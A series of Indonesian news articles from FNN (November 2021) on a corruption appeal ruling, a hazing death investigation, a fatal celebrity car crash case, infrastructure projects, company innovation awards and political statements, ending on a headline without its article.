Jakarta, FNN - Hakim banding di Pengadilan Tinggi (PT) DKI Jakarta menilai hukuman pengadilan tingkat pertama bagi mantan Menteri Kelautan dan Perikanan Edhy Prabowo belum mencerminkan rasa keadilan bagi masyarakat, sehingga memutuskan menjatuhkan pidana penjara lebih berat. "Menimbang, bahwa penjatuhan pidana pokok kepada terdakwa tidak mencerminkan rasa keadilan masyarakat yang seharusnya ditangani secara ekstra dan luar biasa," demikian termuat dalam putusan Edhy Prabowo di laman Mahkamah Agung yang diakses di Jakarta, Kamis, 11 November 2021. Majelis banding di PT DKI Jakarta memperberat vonis pidana bagi Edhy Prabowo menjadi 9 tahun penjara ditambah denda Rp 400 juta subsider 6 bulan kurungan, ditambah kewajiban membayar uang pengganti sejumlah Rp 9.687.457.219 dan 77 ribu dolar AS subsider 3 tahun penjara. Putusan di tingkat banding itu dijatuhkan pada 21 Oktober 2021 oleh Haryono selaku hakim ketua majelis dan Mohammad Lutfi, Singgih Budi Prakoso, Reny Halida Ilham Malik serta Anton Saragih masing-masing sebagai hakim anggota. Putusan banding itu lebih berat dibanding vonis Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta yang menjatuhkan vonis 5 tahun penjara ditambah denda Rp 400 juta subisider 6 bulan kurungan, dan kewajiban membayar uang pengganti sejumlah Rp 9.687.457.219 dan 77 ribu dolar AS subsider 3 tahun penjara. "Terlebih lagi terdakwa adalah seorang menteri yang membawahi Kementerian Kelautan dan Perikanan Republik Indonesia, telah dengan mudahnya memerintahkan anak buahnya berbuat hal yang menyimpang dan tidak jujur," kata hakim dalam putusan tersebut, sebagaimana dikutip dari Antara. Edhy dinilai telah merusak tatanan kerja yang selama ini ada, berlaku, dan terpelihara dengan baik. "Terdakwa telah menabrak aturan atau tatanan prosedur yang ada di kementeriannya sendiri," ujar hakim. Sejumlah hal lain yang memberatkan menurut hakim banding adalah tipikor digolongkan sebagai kejahatan luar biasa (extra ordinary crime). "Sebagai konsekuensi Indonesia meratifikasi konvensi anti korupsi dengan UU No 7 Tahun 2006 artinya korupsi yang hanya diperangi dan menjadi musuh bangsa Indonesia, tetapi juga menjadi musuh seluruh umat manusia," demikian disebutkan hakim. Selain itu hakim banding juga menilai tindak pidana korupsi tidak hanya merugikan keuangan dan perekonomian negara, tetapi dapat meruntuhkan sendi-sendi kedaulatan negara karena sebagai seorang menteri yang merupakan pembantu presiden, sudah seharusnya memahami ketentuan dari Pasal 33 ayat (3) UUD 1945 yang menyebutkan "Bumi, air dan kekayaan alam yang terkandung di dalamnya dikuasai oleh Negara dan dipergunakan untuk sebesar-besar kemakmuran rakyat". "Kekayaan alam tidaklah bisa dengan mudahnya dapat dieksploitasi untuk kepentingan orang," kata hakim. Terhadap vonis PT DKI Jakarta tersebut, KPK menyatakan sepenuh menjadi kewenangan majelis hakim. "Kami melihat putusan banding yang memperberat hukuman terdakwa, artinya majelis hakim punya keyakinan dan pandangan yang sama dengan tim jaksa KPK bahwa terdakwa secara meyakinkan terbukti bersalah menerima suap dalam pengurusan izin budi daya lobster dan ekspor benur," kata Pelaksana Tugas Juru Bicara KPK Ali Fikri. KPK juga mengapresiasi putusan pidana uang pengganti senilai Rp 9,6 miliar dan 77 ribu dolar AS. "Hal tersebut penting sebagai bagian dari 'asset recovery' yang menyokong penerimaan negara melalui upaya pemberantasan korupsi," ujar Ali. Dalam upaya banding tersebut, Ali menyebut yang mengajukan upaya hukum banding adalah Edhy Prabowo, bukan KPK. "Saat ini KPK tentu menunggu sikap dari terdakwa atas putusan tersebut. Dalam prosesnya KPK telah menyiapkan memori kontra bandingnya," kata Ali pula. JPU KPK memang "hanya" menuntut Edhy Prabowo untuk divonis 5 tahun penjara ditambah denda Rp 400 juta subsider 6 bulan kurungan, karena dinilai terbukti menerima suap senilai 77 ribu dolar AS dan Rp 24.625.587.250 dari pengusaha terkait ekspor benih bening lobster (BBL) atau benur. (MD).

Cara Zee Zee Shahab Atur Asupan Gula untuk Buah Hati

Jakarta, FNN - Aktris Zee Zee Shahab membagikan kiatnya mengatur asupan gula untuk para buah hatinya sehingga asupan gizi dan mineral yang diberikan bisa seimbang dan memiliki kesehatan optimal. Ia mengaku sedikit ketat dalam hal memberikan makanan maupun minuman yang memiliki pemanis tambahan atau sukrosa dan lebih memilih makanan dengan kandungan gula alami. “Anak- anak itu biasanya suka makanan dan minuman manis karena ngikutin orang tuanya, jadi kalau di rumah aku dan suami memang gak nyediain makanan dan minuman dengan pemanis tambahan. Otomatis anak- anak pun jadi tidak akan konsumsi gula berlebih,” ujar Zee Zee Shahab dalam konferensi pers virtual, Kamis. Meski demikian, asupan gula tetap diberikan kepada anak- anaknya lewat pemberian buah maupun sayur yang memiliki gula alami atau dikenal dengan fruktosa. Buah- buahan itu dijadikan camilan rutin sehingga asupan gula yang diberikan tetap lebih sehat bagi tubuh sang buah hati. Untuk pemberian makanan atau minuman dengan tambahan gula pasir atau sukrosa hanya diberikan pada situasi tertentu sebagai bentuk reward dari hal baik yang sudah dilakukan oleh anak. “Memang terdengar ketat, tapi ini ikhtiar orang tua supaya anak tahu makanan yang baik untuk dirinya. Jadi dia tahu makan yang gulanya berlebih itu tidak baik, intinya orang tua yang harus pertama kali ambil tindakan sehingga anaknya ga ketergantungan,” ujar Zee Zee. Kiat lainnya agar asupan gula kedua buah hatinya bisa tetap terjaga adalah Zee gemar melihat nutrition facts atau kadar nutrisi pada setiap makanan atau minuman kemasan yang dibelinya untuk keluarga. Dengan memahami komposisi olahan pangan baik makanan maupun minuman, sebagai ibu tentunya keluarga bisa terlindungi jika ternyata produk olahan tersebut memiliki kandungan yang kurang seimbang. Berdasarkan rekomendasi Kementerian Kesehatan untuk anak berusia 7-12 tahun tambahan gula atau sukrosa dalam produk pangan yang ideal untuk dikonsumsi adalah 2-3 sendok atau setara dengan 20 gram gula pasir setiap harinya. Jika melebihi takaran tersebut mungkin saja gizi anak menjadi kurang seimbang bahkan dapat berpengaruh pada kondisi kesehatan buah hati jika dilakukan dalam jangka panjang. (mth)

Pupuk Kaltim Hemat hingga Rp 60 Miliar Berkat Inovasi Perusahaan

Jakarta, FNN - PT Pupuk Kalimantan Timur (Pupuk Kaltim/PKT) menghemat hingga Rp 60 miliar berkat inovasi perusahaan, yang biasa ditanamkan bagi para karyawan di seluruh unit kerja, baik di pusat produksi di Bontang, Kaltim, maupun di seluruh wilayah distribusi perusahaan. Direktur Utama PKT Rahmad Pribadi dalam keterangan tertulisnya yang diterima di Jakarta, Kamis, mengatakan inovasi sudah menjadi bagian dari kehidupan PKT yang terus digencarkan. "Mengingat tingginya persaingan saat ini yang mengharuskan setiap pelaku bisnis untuk terus menciptakan peluang melalui berbagai inovasi agar dapat menjadi market leader, demi menjaga kelangsungan operasional perusahaan dan menghasilkan keputusan-keputusan yang efektif dan efisien. Inovasi-inovasi yang ditampilkan di PIA, menjadi bukti nyata kepedulian kita semua terhadap budaya mutu dan inovasi di PKT," kata Rahmad. Ragam inovasi dari insan karyawan diapresiasi melalui kegiatan Pupuk Kaltim Innovation Award (PIA) Ke-33 Tahun 2021. PIA merupakan kegiatan rutin yang diadakan PKT, guna menampilkan berbagai inovasi dari berbagai unit kerja, seluruh karyawan, anak perusahaan, yayasan, dan afiliasi di bawah naungan PKT. Kegiatan ini berhasil meningkatkan nilai penghematan di seluruh lini perusahaan, yang tadinya senilai Rp51,73 miliar pada 2020, meningkat 16 persen menjadi Rp60 miliar pada 2021. Nilai penghematan tersebut berhasil tercapai berkat berbagai inovasi yang dilakukan PKT di segala lini perusahaan. Rangkaian kegiatan PIA ke-33 yang dimulai dari kegiatan sosialisasi pada Juli 2021, lalu penjurian pada Oktober 2021, sampai dengan kegiatan puncak atau awarding dengan mengusung tema "Greater Through Innovation". Ketua Panitia PIA Ke-33 Tahun 2021 Ika Kusumadewi mengatakan walaupun kondisi masih di tengah pandemi tidak menyurutkan semangat penggiat inovasi PKT untuk menghasilkan berbagai inovasi dan nilai tambah bagi perusahaan. Hal ini terbukti dengan meningkatnya jumlah keikutsertaan gugus hingga 57 persen. Pada 2020, PIA diikuti oleh 313 gugus, sedangkan pada tahun ini meningkat menjadi 493 gugus. "Gugus ini terbagi dalam beberapa kategori, yaitu PKM 44 gugus, GKM 92 gugus, SSG 111 gugus, SS 82 gugus, dan Fame 164 gugus. Pencapaian ini mempertegas eksistensi PKT dengan terus mengembangkan inovasi secara berkelanjutan," kata Ika. Dari beberapa gugus tersebut, lima gugus berhasil meraih predikat Gold (tertinggi), yaitu: 1. GKM Metalist dari Departemen Inspeksi Teknik 2, dengan inovasi Membuat Alat Elektroetsa untuk Pengujian Metalografi, yang Optimal, Efektif, dan Efisien. 2. PKM I-WELD dari Departemen Pemeliharaan Instrumen, dengan inovasi Membuat Alat Remote Ampere Adjuster Mesin Las Listrik untuk Mempercepat Pekerjaan Pengelasan. 3. PKM Maintex dari Departemen Keandalan Pabrik, dengan inovasi Membuat Aplikasi Maintex dan Implementasi Asset Wellness untuk Meningkatkan Rasio Proactive Maintenance Pabrik 1A. 4. GKM Simogen dari Departemen Manajemen Aset, dengan inovasi Pemanfaatan Teknologi Berbasis IoT untuk Menurunkan Kegagalan Start Genset. 5. PKM Point Reborn KDM dari PT Kaltim Daya Mandiri, dengan inovasi Optimalisasi Proses Pembakaran pada Burner untuk Meningkatkan Reliability HRSG. Rahmad mengajak para inovator-inovator PKT untuk terus berinovasi dan menemukan jawaban atas tantangan-tantangan di masa depan. Menurut dia, tantangan-tantangan di industri pupuk berbagai macam dan kompleks, mulai dari semakin majunya industri pertanian, berubahnya global supply chain dan kebijakan pemerintah terhadap industri pupuk. "Saya yakin masa depan PKT semakin cerah dan semakin besar, mengingat semangat inovasi yang selalu kita bawa melalui ajang PIA ini. Kita pasti bisa menghadapi apapun tantangan di depan dan akan menjadi pemenang," kata Rahmad. (mth)

PLTA Rajamandala "Run of River" Hasilkan Listrik 47 MW

Cianjur, FNN - Pembangkit listrik tenaga air (PLTA) Rajamandala di Kabupaten Cianjur, Jawa Barat, mampu menghasilkan listrik berkapasitas 47 megawatt dengan memanfaatkan aliran sungai Citarum hasil keluaran PLTA Saguling. Pembangkit listrik yang menggunakan turbin vertical kaplan ini tidak memerlukan pembangunan waduk atau bisa disebut dengan kategori PLTA run of river. "Posisi persis di belakang Saguling, masuk terowongan 1,3 kilometer menuju saluran terbuka Saguling, nanti air turun ke turbin dan ketemu energi 47 megawatt," kata Direktur Utama Indonesia Power Ahsin Sidqi di Cianjur, Jawa Barat, Kamis. PLTA Rajamandala merupakan pembangkit dengan teknologi modern hasil kerja sama antara Indonesia Power dengan kepemilikan saham sebesar 51 persen dan Kansai Electric Power Company sebesar 49 persen yang menjadi PT Rajamandala Electric Power. Listrik dari pembangkit yang menyerap investasi sebesar 150 juta dolar AS ini dihasilkan dengan memanfaatkan debit air 168 meter kubik dan ketinggian jatuh air 34 meter. Sejak pengoperasian perdana pada Mei 2019, PLTA Rajamandala menerapkan teknonologi terbaru pada konstruksi pipa pesat, spiral case, dan labirin waterway dengan menggunakan bahan beton bertulang serta teknologi yang efisiensi pada sisi turbin kaplan. Ahsin mengatakan bahwa listrik yang dihasilkan dari PLTA Rajamandala turut memperkuat sistem interkoneksi kelistrikan Jawa-Bali. Listrik tersebut dipasok melalui jaringan transmisi bertegangan 150 kilovolt Cianjur-Cigereleng. Selain itu, pasokan listrik dari PLTA yang menempati lahan sekitar 40 hektare tersebut juga menjadi cadangan untuk sistem kelistrikan di wilayah Jawa Barat. "PLTA ini merupakan wujud dari komitmen PLN dan Indonesia Power untuk mencapai target Rencana Umum Energi Nasional sebesar 23 persen energi baru terbarukan pada 2025," pungkas Ahsin. (mth)

Polisi Belum Izinkan Penangguhan Penahanan Tersangka Diklatsar Menwa

Solo, FNN - Penyidik Satuan Reskrim Polres Kota Surakarta menyebutkan pihaknya belum mengabulkan surat pengajuan penangguhan penahanan terhadap dua tersangka FPJ (20) dan NFM (20) terkait kasus kematian mahasiswa Gilang Endy Saputra (21),. Gilang meninggal saat mengikuti Pendidikan Latihan Dasar Resimen Mahasiswa (Diklatsar Menwa) Universitas Sebelas Maret (UNS). Penyidik Polresta Surakarta sementara belum mengabulkan surat penangguhan penahanan kedua tersangka itu, karena pertimbangan penyelidikan dan penyidikan belum selesai, kata Kepala Polresta Surakarta Kombes Pol Ade Safri Simanjutak, di Solo, Kamis. Menurut Kapolres, belum dikabulkan penangguhan penahanan kedua tersangka tersebut karena tim penyidik masih progres melakukan penyidikan pengembangan untuk pihak-pihak lainnya yang diduga terlibat kasus itu. . "Kami masih proses penyelidikan dan penyidikan untuk melengkapi atau mendalami keterlibatan tersangka lainnya masih dibutuhkan atau belum selesai," kata Kapolres. Kapolres mengatakan surat penangguhan penahanan kedua tersangka tersebut dari penasihat hukumnya Lembaga Konsultasi dan Bantuan Hukum Fakultas Hukum UNS yang disampaikan ke penyidik Polresta Surakarta pada Senin (8/11). Dalam surat tersebut, kata Kapolres, penasihat hukum meminta penangguhan penahanan terhadap tersangka berinisial FPJ (20), warga Kabupaten Wonogiri, dan NFM (20), warga Kabupaten Pati. Pada penangguhan penahanan itu, sebagai penjamin tersangka FPJ yakni kakak iparnya, dan NFM, kakak kandungnya. Surat penangguhan tersebut, kata Kapolres, juga disertai surat pernyataan tersangka FPJ dan NFM, bahwa mereka tidak melarikan diri, tidak menghilangkan barang bukti, tidak akan melakukan tindak pidana, bersedia wajib lapor, dan tidak mempersulit jalannya penyidikan, baik selama pemeriksaan di Polresta Surakarta, kejaksaan maupun pengadilan. Penyidik Polres Kota Surakarta sebelumnya telah menetapkan dua orang tersangka terkait kasus kematian mahasiswa Gilang Endy Saputra (21), saat mengikuti Diklatsar Menwa UNS. Menurut Ade Safri Simanjutak, tim penyidik atas dasar tiga alat bukti yakni keterangan saksi, surat, dan keterangan ahli itu, kemudian menetapkan dua orang tersangka kasus diklatsar menwa, yakni berinisial NFM (20), warga Kabupaten Pati, dan FPJ (20), warga Kabupaten Wonogiri yang kini masih ditahan di Mapolres Surakarta. Kedua tersangka tersebut terlibat tindak pidana secara bersama-sama melakukan dugaan penganiayaan terhadap korban yang menyebabkan Gilang meninggal dunia pada kegiatan Diklatsar Menwa UNS 2021. Atau karena kelalaiannya menyebabkan orang lain meninggal dunia, yang terjadi di Kampus UNS, pada Sabtu (23/10) mulai pukul 06.00 WIB hingga Minggu (24/10), pukul 22.00 WIB, Hal tersebut dimaksud, kata Kapolres, dalam Pasal 351 ayat 3 KUHP juncto Pasal 55 ayat 1 ke-1 KUHP atau Pasal 359 juncto Pasal 55 ayat 1 ke-1 KUHP. Dengan ancaman hukuman maksimal tujuh tahun penjara. "Masing-masing tersangka ini, diduga telah melakukan kekerasan baik dengan menggunakan alat maupun tangan kosong kepada korban," kata Kapolres pula. (mth)

Menhan Prabowo Dampingi PM dan Menhan Malaysia Tinjau PT Pindad

Jakarta, FNN - Menteri Pertahanan Prabowo Subianto mendampingi Perdana Menteri (PM) Malaysia, Dato' Sri Ismail Sabri Yaakob dan Menteri Pertahanan Malaysia, Dato’ Seri Hishammuddin Hussein mengunjungi kantor pusat PT Pindad (Persero) di Bandung, Jawa Barat, Kamis. Rombongan diterima oleh Direktur Utama PT Pindad (Persero), Abraham Mose beserta jajaran di Graha Pindad Bandung, seperti dikutip dalam siaran persnya. Kunjungan dalam rangka meninjau industri pertahanan di Indonesia, khususnya fasilitas produksi Pindad dan potensi kerja sama yang dapat dilakukan untuk memenuhi kebutuhan Tentara Diraja Malaysia (TDM). Dalam kesempatan tersebut, PM Malaysia menyampaikan bahwa kunjungan ini adalah untuk melihat potensi kerja sama antara Malaysia dengan Indonesia dari segi industri pertahanan. "Hari ini di Bandung, di PT Pindad ini, mungkin kita akan mencapai sesuatu yang baik untuk dua belah pihak dari segi kerjasama industri pertahanan," kata Ismail. Dirut PT Pindad Abraham Mose dalam kesempatan tersebut memaparkan produk-produk unggulan PT Pindad, mulai dari produk pertahanan dan keamanan meliputi senjata, munisi dan kendaraan khusus hingga produk industrial meliputi alat berat, infrastruktur pertambangan dan mining service. Didampingi Menhan Prabowo dan Dirut PT Pindad, rombongan PM Malaysia pun melaksanakan "plant tour" ke fasilitas produksi dan menyaksikan defile kendaraan khusus meliputi Medium Tank Harimau, Ranpur Badak, Komodo berbagai varian, Anoa berbagai varian, Maung dan kendaraan terbaru MV2. Pindad juga menampilkan berbagai jenis senjata meliputi pistol Armo berbagai varian, G2 series (Combat, Elite, Premium), Mag 4, P3A, SPR berbagai varian, SS2 V5 A1, Blackout, Dopper dan SPM. PT Pindad telah menghasilkan beragam produk-produk andalan, di antaranya senjata dan amunisi Pindad yang digunakan kontingen penembak TNI dan berhasil menjuarai berbagai lomba tembak internasional seperti AASAM, AARM dan BISAM. Adapun Kendaraan Fungsi Khusus buatan Pindad seperti Anoa 6x6 dan Komodo 4x4 yang telah terbukti kualitas dan durabilitasnya karena telah digunakan dalam mendukung misi TNI tidak hanya di dalam tetapi juga luar negeri (UN Peace Keeping) di berbagai belahan dunia seperti Lebanon, Congo, Afrika Tengah, dan Sudan. Sedangkan dalam lini produk industrial, Excava 200 produksi Pindad saat ini sudah tersedia berbagai varian sesuai dengan fungsi dan kebutuhan lapangan. Pindad juga telah menghasilkan berbagai alat mesin pertanian, berbagai infrastruktur perhubungan hingga layanan pertambangan. Melalui kemitraannya, Pindad juga berhasil memproduksi mesin pembakar sampah ramah lingkungan tanpa asap bernama Stungta x Pindad, yang saat ini diminati untuk mengatasi permasalahan sampah medis yang meningkat di tengah pandemi COVID-19. Dalam mendukung penanganan COVID-19, Pindad juga melalui anak perusahaannya telah berinovasi menciptakan berbagai jenis ventilator. (mth)

Sopir Vanessa Angel Ditahan di Polres Jombang

Surabaya, FNN - Sopir Vanessa Angel, Tubagus Muhammad Joddy Prames Setya, ditahan di Polres Jombang setelah ditetapkan menjadi tersangka kecelakaan tunggal yang merenggut nyawa artis tersebut dan suaminya Febri Andriansyah di ruas Tol Jombang-Mojokerto KM 672.400/A. "Setelah dijadikan tersangka, terhadap Joddy dilakukan penahan di Polres Jombang," ujar Kabid Humas Polda Jatim Kombes Pol Gatot Repli Handoko di Surabaya, Kamis. Sebelum menetapkan Joddy menjadi tersangka, pada Senin (8/11) penyidik dari Direktorat Lalu Lintas Polda Jatim mendatangkan tim labfor dari Mabes Polri untuk melakukan pemeriksaan terhadap barang bukti kendaraan Pajero. Sorenya, penyidik melakukan gelar perkara yang pertama terkait langkah-langkah proses penyelidikan dan penyidikan yang akan dilaksanakan. Selanjutnya, pada Selasa (9/11) penyidik melaksanakan pemeriksaan terhadap 10 orang saksi. Kombes Gatot melanjutkan pada hari yang sama, Tubagus Joddy sudah dinyatakan sehat dan dibawa ke Polres Jombang untuk dilakukan pemeriksaan sebagai saksi. Kemudian, Rabu (10/11) tim penyidik dari Satlantas Polres Jombang sudah mengirimkan Surat Pemberitahuan Dimulainya Penyidikan (SPDP) kepada Jaksa Penuntut Umum (JPU) di Kejaksaan Negeri Jombang. Berikutnya, pihak kepolisian melaksanakan gelar perkara kedua untuk melakukan perubahan status setelah berkoordinasi dengan JPU. "Ada beberapa bukti yang bisa dikenakan kepada yang bersangkutan. Sebagai contoh dalam penggunaan jalan tol ada batas rambu yang harusnya dipatuhi pengemudi," katanya. Kepada Joddy, polisi mengenakan pasal berlapis yakni Pasal 310 Ayat 4 UU RI Nomor 22 tentang Lalu Lintas dengan ancaman enam tahun penjara dan denda Rp 12 juta. Atau Pasal 311 Ayat 5 UU Nomor 22 tentang Lalu Lintas Angkutan Jalan Raya dengan ancaman hukuman 12 tahun penjara dan denda Rp 24 juta. Seperti diwartakan sebelumnya, mobil berwarna putih dengan nomor polisi B-1284-BJU yang ditumpangi Vanessa Angel dan suaminya, Febri Andriansyah, mengalami kecelakaan tunggal di Tol Jombang-Mojokerto KM 672 300/A, Kamis (4/11) pukul 12.36 WIB. Dugaan sementara kecelakaan terjadi karena faktor kelelahan sopir. Mobil yang diduga melaju kencang itu kemudian oleng ke kiri menabrak pembatas jalan terbuat dari beton hingga membuat mobil terlempar sejauh 30 meter. Dari kejadian tersebut, dua orang yang dinyatakan meninggal dunia, yakni Vanessa Angel bersama suaminya. Tiga korban lainnya selamat dan mengalami luka-luka, yaitu sopir, asisten rumah tangga, dan anak Vanessa. (mth)

PUPR Targetkan Tol Manado-Bitung Tersambung Penuh Akhir Desember 2021

Jakarta, FNN - Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) menargetkan Jalan Tol Manado-Bitung tersambung penuh pada akhir Desember 2021. Menteri PUPR Basuki Hadimuljono mengatakan pembangunan ruas Tol Manado-Bitung merupakan salah satu dukungan yang signifikan bagi pengembangan Kawasan Ekonomi Khusus (KEK) Bitung dan Kawasan Strategis Pariwisata Nasional (KSPN) Super Prioritas Manado-Bitung-Likupang. "Saat ini, sedang dilaksanakan juga pembangunan berbagai infrastruktur pendukung pariwisata lainnya, seperti jalan akses Manado-Likupang, Jembatan Marinsow, SPAM Malalayang, TPA Mamitarang dan pengendali banjir," kata Menteri Basuki dalam keterangan tertulis yang diterima di Jakarta, Kamis. Kementerian PUPR bersama mitra kerja dan badan usaha jalan tol (BUJT) terus melanjutkan pembangunan sejumlah proyek jalan tol dalam rangka peningkatan konektivitas. Salah satu ruas tol yang akan rampung dalam waktu dekat pada akhir Desember 2021 adalah Jalan Tol Manado-Bitung Seksi 2B Danowudo–Bitung (13,5 km), menyusul ruas Manado-Danowudu sepanjang 26 km yang telah diresmikan Presiden Joko Widodo (Jokowi) pada September 2020. Berdasarkan data, untuk Seksi 2B Danowudu-Bitung saat ini progres konstruksinya sudah 96,04 persen dengan pekerjaan yang tersisa berupa pengecoran deckslab Jembatan Ranowulu, erection girder pada beberapa lokasi overpass serta beberapa pekerjaan minor lainnya seperti pekerjaan saluran, pasangan batu bronjong sabodam, pekerjaan jalan akses Maramis & RA Kartini, serta pekerjaan pengaspalan Tapper di simpang sebidang Bitung dan Jembatan Maramis. Dengan tersambung seluruhnya Jalan Tol Manado-Bitung akan dapat mengurangi beban jalan arteri nasional yang kondisinya semakin padat akibat pertumbuhan jumlah kendaraan dan aktivitas perekonomian untuk menunjang kegiatan perekonomian di Provinsi Sulawesi Utara (Sulut). Jalan tol tersebut akan memberikan kemudahan akses barang dan jasa ke Pelabuhan Internasional Bitung yang merupakan salah satu dari pintu ekspor impor bagi kawasan Indonesia bagian timur. Dengan seluruh ruas tol sepanjang 40 km tersebut rampung maka akan memangkas waktu tempuh Manado-Bitung dari waktu tempuh rata-rata 1,5 jam menjadi setengah jam. Jalan tol ini terintegrasi dengan kawasan industri dan pariwisata sehingga akses lebih mudah dijangkau. Biaya logistik dari Pelabuhan Bitung dapat ditekan, agar kawasan KEK Bitung juga dapat lebih maju. Kawasan pariwisata juga akan semakin mudah dijangkau, sehingga diharapkan pariwisata di Sulut berkembang lebih baik setelah berakhirnya pandemi COVID-19. Tol Manado-Bitung dibangun dengan skema kerja sama pemerintah dan badan usaha (KPBU) dengan nilai investasi total Rp5,12 triliun, yang konstruksi pada ruas Manado-Airmadidi sepanjang 15 km didanai oleh APBN, sedangkan ruas Airmadidi-Bitung sepanjang 25 km dilaksanakan oleh BUJT PT Jasa Marga Manado-Bitung. Pembangunan Tol Manado-Bitung sepanjang 40 km dibagi menjadi dua seksi yakni Seksi 1 Ring Road Manado-Sukur-Air Madidi sepanjang 15 km dikerjakan oleh Kementerian PUPR. Sedangkan, untuk Seksi 2 Airmadidi-Bitung sepanjang 25 km dikerjakan oleh Badan Usaha Jalan Tol (BUJT) PT Jasa Marga Manado Bitung yang terbagi Seksi 2A Airmadidi–Danowudu (11,5 km) dan Seksi 2B Danowudo–Bitung (13,5 km). (mth)

Sulbar Dukung Program Pencegahan Korupsi KPK Melalui Aplikasi MCP

Mamuju, FNN - Provinsi Sulawesi Barat dan pemerintah kabupaten di provinsi itu berkomitmen mendukung program pencegahan dan pemberantasan korupsi terintegrasi yang dilaksanakan oleh KPK sejak 2018 melalui aplikasi "Monitoring Center for Prevention/MCP". "Dalam rangka program pencegahan dan pemberantasan korupsi terintegrasi difokuskan pada delapan area, yaitu perencanaan dan penganggaran APBD, pengadaan barang dan jasa, perizinan, pengawasan APIP, manajemen ASN, optimalisasi pajak daerah, manajemen daerah dan tata kelola keuangan desa," kata Gubernur Sulbar Ali Baal Masdar. Hal itu disampaikan Gubernur pada rapat koordinasi pencegahan korupsi terintegrasi bersama pimpinan KPK di wilayah Provinsi Sulbar yang berlangsung di Hotel Grand Mutiara Mamuju, Kamis. Berdasarkan data capaian program pencegahan dan pemberantasan korupsi terintegrasi pada aplikasi MCP lanjut Gubernur, sampai saat ini, Provinsi Sulbar masih berada pada zona kuning dengan rata-rata capaian di bawah lima puluh persen "Ini merupakan tantangan yang harus disikapi dengan kerja lebih keras semua pihak terkait. Pemerintah Provinsi maupun pemerintah kabupaten di Sulbar harus terus melakukan upaya untuk meningkatkan capaian MCP saat ini," ujarnya. "Untuk itu, saya berharap pemerintah daerah yang capaiannya masih rendah, supaya lebih sungguh-sungguh, untuk pencapaian penilaian yang lebih baik lagi," kata Ali Baal Masdar. Gubernur mengingatkan kepada jajaran pemerintah di Sulbar, yang sangat penting dalam upaya pencegahan dan pemberantasan korupsi, adalah kesungguhan untuk menjauhi hal-hal yang berpotensi menjadi celah atau rawan terjadinya korupsi. "Termasuk keteladanan untuk hidup sederhana yang dimulai dari diri pribadi dan lingkungan keluarga para penyelenggara negara," tuturnya. Sementara Wakil Ketua KPK Lili Pantauli Siregar menyampaikan, rakor tersebut dalam rangka pencegahan tindak korupsi di Sulbar. "KPK akan membantu pemerintahan daerah dalam upaya pencegahan korupsi untuk kemajuan penanganan korupsi di Sulbar sehingga tujuan dari penanganan korupsi terintegrasi menjadi semakin lebih baik," ujar Lili Pantauli Siregar. Rakor tersebut dihadiri para bupati se- Sulbar, pimpinan instansi vertikal serta pimpinan OPD lingkup Pemprov Sulbar. (sws)

Anggota DPR Inginkan Pendidikan Politik Kalsel Lebih Baik

Banjarmasin, FNN - Anggota DPR RI Hj Aida Muslimah menginginkan pendidikan politik bagi warga Kalimantan Selatan (Kalsel) ke depan menjadi lebih baik lagi. Karena itu, Anggota DPR RI itu sejak 1 November 2021 dalam gerak langkah awal akan fokus pada pendidikan politik bagi warga "Bumi Perjuangan Pangeran Antasari" atau "Bumi Lambung Mangkurat" Kalsel. "Insya Allah dengan panduan dari pimpinan partai dan pimpinan fraksi langkah awal saya sebagai anggota DPR RI fokus pendidikan politik," ujarnya, didampingi suami HM Rosehan Noor Bahri yang juga Wakil Ketua Komisi III DPRD Kalsel. "Dalam melaksanakan pendidikan politik tersebut, saya juga akan bersinergi dengan H Rifqi Nizami Karsayuda asal Dapil I Kalsel sama-sama satu fraksi dan satu Komisi II DPR RI," ujarnya pula. Selain itu, akan membangun komunikasi yang lebih intens dengan pemerintah provinsi (pemprov) serta pemerintah kabupaten/kota (pemkab/pemkot) di Kalsel. "Hal itu semua untuk lebih mewujudkan sinergitas antara pemerintah daerah (pemda) di Kalsel, baik tingkat provinsi maupun kabupaten/kota dengan pemerintah pusat," katanya lagi. Pada kesempatan itu pula, pengganti antarwaktu keanggotaan DPR RI atas nama H Syafruddin H Maning atau Cuncung dari dapil yang sama tersebut mengharapkan kerja sama yang baik dengan wartawan/insan pers. "Kalau saya keliru dalam melaksanakan tugas dan fungsi sebagai wakil rakyat pada tingkat pusat, wartawan jangan ragu atau sungkan memberikan teguran atau koreksi yang konstruktif," demikian Aida Muslimah. (sws)

NasDem Jatim: HUT Ke-10 Terus Konsisten Suarakan Aspirasi Rakyat

Surabaya, FNN- Dewan Pimpinan Wilayah Partai NasDem Jawa Timur pada Hari Ulang Tahun (HUT) Ke-10 menyatakan komitmennya terus konsisten menyuarakan aspirasi dan kepentingan rakyat. "Tentu dalam usia yang tergolong muda dalam panggung demokrasi Indonesia ini," ujar Wakil Ketua Bidang Media dan Komunikasi Publik DPW NasDem Jatim Vinsensius Awey kepada wartawan di Surabaya, Kamis. Satu dekade, kata dia, menjadi momentum refleksi dan patut disyukuri karena NasDem telah 10 tahun berada di tengah masyarakat Indonesia. "Partai NasDem ikut ambil peran penting dan telah berjuang membawa nilai restorasi demi Indonesia yang lebih baik," ucap Awey, sapaan akrabnya. Selama ini, lanjut dia, NasDem konsisten mendukung pemerintahan Presiden Joko Widodo dalam menjalankan berbagai program pembangunan dan kebijakan. "Komitmen kami untuk terus berada di jalur koalisi bersama pemerintah tentunya bukan hanya retorika semata. Dengan sepenuh hati mendukung berbagai program pemerintahan, mulai dari pembangunan ekonomi, pemerataan investasi, peningkatan kualitas sumber daya manusia, menjaga keutuhan NKRI dan lainnya," ucap dia. Selain itu, yang tak kalah penting adalah seluruh simpatisan, kader dan pengurus tetap kompak serta solid mewujudkan semangat restorasi demi Indonesia sejahtera. Sementara, selama pandemi COVID-19 melanda, NasDem juga telah dengan penuh dedikasi menjadi kepanjangan tangan pemerintah dalam melakukan upaya pemulihan. Seperti halnya di Jawa Timur, antara lain mendirikan sentra-sentra vaksinasi di berbagai daerah kabupaten dan kota, lalu juga memberikan bantuan kepada masyarakat serta tenaga kesehatan, termasuk ambulans. "Buat kami, prinsip kemanusiaan bahwa 'no one left behind', tidak pernah berubah. Jadi kami selalu memastikan bahwa masyarakat tidak akan ditinggal sendirian dalam menghadapi berbagai kesusahan. NasDem akan selalu berjalan bersama dengan rakyat," tutur Awey. (sws)

Anggota DPR: KPU Tidak Salah Jika Putuskan Sendiri Pelaksanaan Pemilu

